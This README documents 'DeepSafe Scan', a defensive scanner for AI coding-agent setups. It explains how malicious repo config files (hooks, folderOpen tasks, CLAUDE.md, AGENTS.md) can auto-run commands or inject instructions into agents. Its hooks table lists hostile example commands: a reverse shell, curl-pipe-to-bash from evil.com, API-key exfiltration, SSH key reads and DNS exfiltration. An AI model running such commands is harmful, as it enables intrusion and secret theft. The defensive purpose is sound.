DeepSafe Scan

Universal preflight security scanner for AI coding agents

Scan before you run. Protect your AI agent environment from secrets leaks, prompt injection, and hooks backdoors — in one command.

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Works with:     OpenClaw       Claude Code       Cursor       Codex

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What it does

DeepSafe Scan runs preflight security checks across 5 modules before you execute AI-generated code or install new skills:

Module	What it checks	Needs API?
posture	openclaw.json / .env — insecure gateway settings, exposed secrets	No
skill	Installed skills & MCP servers — 15+ static analyzers (secret patterns, dangerous syscalls, eval, exfil patterns)	No (LLM optional)
memory	Session & memory files — 27 secret patterns, 9 PII types, prompt injection	No
hooks	.claude/settings.json, .cursorrules, .windsurfrules, .vscode/tasks.json, CLAUDE.md, AGENTS.md — 12 injection patterns	No
model	4 behavioral safety probes: persuasion, sandbagging, deception, hallucination	Yes

All 4 static modules run without any API key. LLM features auto-detect credentials — no manual configuration.

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Platform support

Works with any AI coding agent:

Platform	Auto API detection	Hooks scan	Skills scan	Notes
OpenClaw	✅ Reads ~/.openclaw/openclaw.json gateway	✅	✅	Full native support
Claude Code	✅ ANTHROPIC_API_KEY	✅ .claude/settings.json	✅ Any dir	Checks Claude hooks files
Cursor	✅ OPENAI_API_KEY (if configured)	✅ .cursorrules	✅ Any dir	Model probes need user-provided key
Codex	✅ OPENAI_API_KEY	✅ AGENTS.md	✅ Any dir	Full static scan works without key
Windsurf	✅ OPENAI_API_KEY (if configured)	✅ .windsurfrules	✅ Any dir	Checks Windsurf config files
Other	--api-base / --api-key	✅	✅	Any OpenAI-compatible API

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⚠️ Why you need this

AI Coding Agent（Claude Code、Cursor、Windsurf、Codex）的配置文件支持自动执行命令。攻击者可以在开源仓库中植入恶意配置：

攻击向量	触发时机	需要用户确认？
.claude/settings.local.json SessionStart hooks	Claude Code 启动	否，自动执行
.vscode/tasks.json runOn: folderOpen	Cursor/VSCode 打开目录	否，自动执行
.cursorrules / .windsurfrules / CLAUDE.md / AGENTS.md	Agent 读取并可能执行指令	部分情况下自动

clone 任何仓库后，先扫再打开：

# 先 clone 到本地
git clone https://github.com/someone/some-repo
# 不要急着用 IDE 打开！先扫一下：
python3 ~/deepsafe-scan/scripts/scan.py --modules hooks --scan-dir ./some-repo --no-llm --format markdown
# 确认安全后再打开 IDE

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Quick start

方式一：作为独立工具使用

git clone https://github.com/XiaoYiWeio/deepsafe-scan ~/deepsafe-scan

# 扫描任意项目目录（零依赖，直接跑）
python3 ~/deepsafe-scan/scripts/scan.py \
  --modules hooks \
  --scan-dir /path/to/repo \
  --no-llm \
  --format markdown

方式二：作为 AI Agent Skill 安装（推荐）

安装为 Skill 后，以后每次使用只需用自然语言告诉你的 AI Agent：

"帮我用 deepsafe scan 扫一下这个项目"

Agent 会自动调用扫描器并返回结果，无需记命令。

# OpenClaw 用户
clawhub install deepsafe-scan

# Claude Code 用户 — 把 CLAUDE.md 复制到项目根目录
cp ~/deepsafe-scan/CLAUDE.md /your/project/

# Cursor 用户 — 把 .cursorrules 复制到项目根目录
cp ~/deepsafe-scan/.cursorrules /your/project/

方式三：完整扫描（5 模块 + LLM 分析）

python3 ~/deepsafe-scan/scripts/scan.py \
  --modules posture,skill,memory,hooks,model \
  --scan-dir . \
  --format html \
  --output /tmp/deepsafe-report.html

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Usage

python3 scripts/scan.py [options]

Core options:
  --modules           Comma-separated: posture,skill,memory,hooks,model
                      (default: posture,skill,memory,model)
  --scan-dir PATH     Extra directory to scan for skills/code (default: auto)
  --openclaw-root     OpenClaw root directory (default: ~/.openclaw)

LLM options:
  --api-base URL      OpenAI-compatible API base URL
  --api-key KEY       API key (also reads ANTHROPIC_API_KEY / OPENAI_API_KEY)
  --provider          auto | openai | anthropic (default: auto)
  --model             Model name override
  --no-llm            Disable all LLM features (static analysis only)

Output options:
  --format            json | markdown | html (default: json)
  --output FILE       Write report to file instead of stdout
  --profile           quick | standard | full (default: quick)

Cache options:
  --ttl-days N        Cache TTL in days (default: 7, 0 = no cache)
  --no-cache          Skip cache entirely

Debug:
  --debug             Verbose output to stderr

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Modules in detail

Posture scan

Checks your AI agent deployment config for: - Insecure gateway authentication (plain HTTP, no auth, default passwords) - Exposed API keys in config files - Overly permissive security settings - Debug mode enabled in production

For OpenClaw: reads openclaw.json. For other platforms: checks .env, config.json, etc.

Skill / MCP scan

Scans all installed skills and MCP server directories. Detects: - Hardcoded secrets (27 patterns — API keys, tokens, passwords) - Remote code execution patterns (eval, exec, subprocess with user input) - Data exfiltration (curl/wget/requests to external hosts) - Prompt injection attempts in system prompts - Dangerous file operations, shell injection, path traversal

Optional: LLM-enhanced semantic analysis flags sophisticated obfuscated patterns.

Memory scan

Scans session logs and agent memory files for: - 27 secret patterns: OpenAI keys, Anthropic keys, GitHub tokens, AWS credentials, Slack, Stripe, DB URLs, SSH keys, JWT secrets - 9 PII types: email, phone (intl), SSN, passport, credit card (Luhn), medical codes, driver's license, bank account, national ID - Prompt injection: jailbreak fragments, role override attempts, instruction override

Hooks scan

Scans AI coding assistant config files for command injection backdoors:

Pattern	Severity	Example
Reverse shell	CRITICAL	bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
curl|sh RCE	CRITICAL	curl https://evil.com/x.sh \| bash
Credential exfiltration	CRITICAL	curl $ANTHROPIC_API_KEY@evil.com
SSH key access	CRITICAL	cat ~/.ssh/id_rsa
Base64 exec	HIGH	echo <b64> \| base64 -d \| bash
Persistence	HIGH	crontab -e, launchctl load
rm -rf	HIGH	rm -rf /tmp/*
Process injection	CRITICAL	LD_PRELOAD=evil.so
DNS exfil	HIGH	dig $SECRET.attacker.com
Env dump	HIGH	printenv > /tmp/env.txt
/tmp chmod +x	HIGH	chmod +x /tmp/backdoor
Pre-auth exec	MEDIUM	preSessionCommand: ...

Checks: .claude/settings.json, .claude/settings.local.json, .cursorrules, .cursor/rules.md, .windsurfrules, .windsurf/rules.md, .vscode/tasks.json, .vscode/settings.json, .github/copilot-instructions.md, CLAUDE.md, AGENTS.md.

Model probes

4 behavioral safety evaluations using LLM API:

Probe	What it tests
Persuasion	Whether the model can be manipulated to change user opinions
Sandbagging	Whether the model deliberately underperforms to hide capabilities
Deception	Whether the model gives false information when asked directly
Hallucination	Whether the model fabricates facts it cannot verify

Each probe runs a small evaluation suite and returns a 0–100 safety score.

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Score interpretation

Total score	Risk level	Recommended action
85–100	🟢 LOW	Good to go
65–84	🟡 MEDIUM	Review flagged items
40–64	🟠 HIGH	Fix before use
1–39	🔴 CRITICAL	Stop — serious risks present

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LLM auto-detection

Credentials are resolved in this priority order:

--api-base / --api-key flags
  ↓ (if not set)
OpenClaw Gateway (~/.openclaw/openclaw.json)
  ↓ (if not found)
ANTHROPIC_API_KEY environment variable
  ↓ (if not set)
OPENAI_API_KEY environment variable
  ↓ (if not set)
Static analysis only (model probes skipped with a clear message)

Cursor users: Cursor manages LLM auth internally via subscription — your API key is not exposed to child processes. To enable model probes, set OPENAI_API_KEY in your shell or pass --api-key. All static modules work without any key.

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Zero dependencies

The Python core uses only stdlib: urllib, json, re, hashlib, subprocess, concurrent.futures, argparse, dataclasses.

No pip install required.

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Project structure

deepsafe-scan/
├── scripts/
│   ├── scan.py              # Main entry point (5 modules, HTML/markdown/JSON output)
│   ├── llm_client.py        # Multi-platform LLM client (zero deps, auto-detect)
│   └── probes/
│       ├── persuasion_probe.py    # Manipulation/persuasion evaluation
│       ├── sandbagging_probe.py   # Capability sandbagging evaluation
│       ├── deception_probe.py     # Deception benchmark
│       └── halueval_probe.py      # HaluEval hallucination evaluation
├── data/
│   ├── prompts.json          # Probe prompt templates (externalized)
│   └── datasets/             # Probe evaluation datasets
├── docs/
│   └── plan-cross-platform-evolution.md  # Architecture plan
├── SKILL.md                  # OpenClaw skill metadata
├── CLAUDE.md                 # Claude Code integration guide
├── AGENTS.md                 # Universal agent integration guide
└── .cursorrules              # Cursor IDE integration

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Contributing

Issues and PRs welcome at github.com/XiaoYiWeio/deepsafe-scan.

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DeepSafe Scan is part of the OpenClaw ecosystem but works as a standalone tool with any AI coding agent.